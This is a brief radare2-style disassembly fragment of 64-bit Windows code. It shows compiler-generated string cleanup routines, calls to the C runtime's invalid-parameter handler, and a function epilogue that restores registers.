lea rcx, [rbp + 0x270]
call fcn.1400008b4
nop
mov rdx, qword [rbp + 0x50]
cmp rdx, 0x10
jb 0x1400019c1
inc rdx
mov rcx, qword [rbp + 0x38]
mov rax, rcx
cmp rdx, r13
jb 0x1400019bb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400019bb
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000251c
nop
mov rdx, qword [rbp - 0x60]
cmp rdx, 0x10
jb 0x1400019fb
inc rdx
mov rcx, qword [rbp - 0x78]
mov rax, rcx
cmp rdx, r13
jb 0x1400019f6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400019f6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000251c
mov rbx, qword [rsp + 0x878]
add rsp, 0x820
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call fcn.140000524
nop
call fcn.14000227c
int3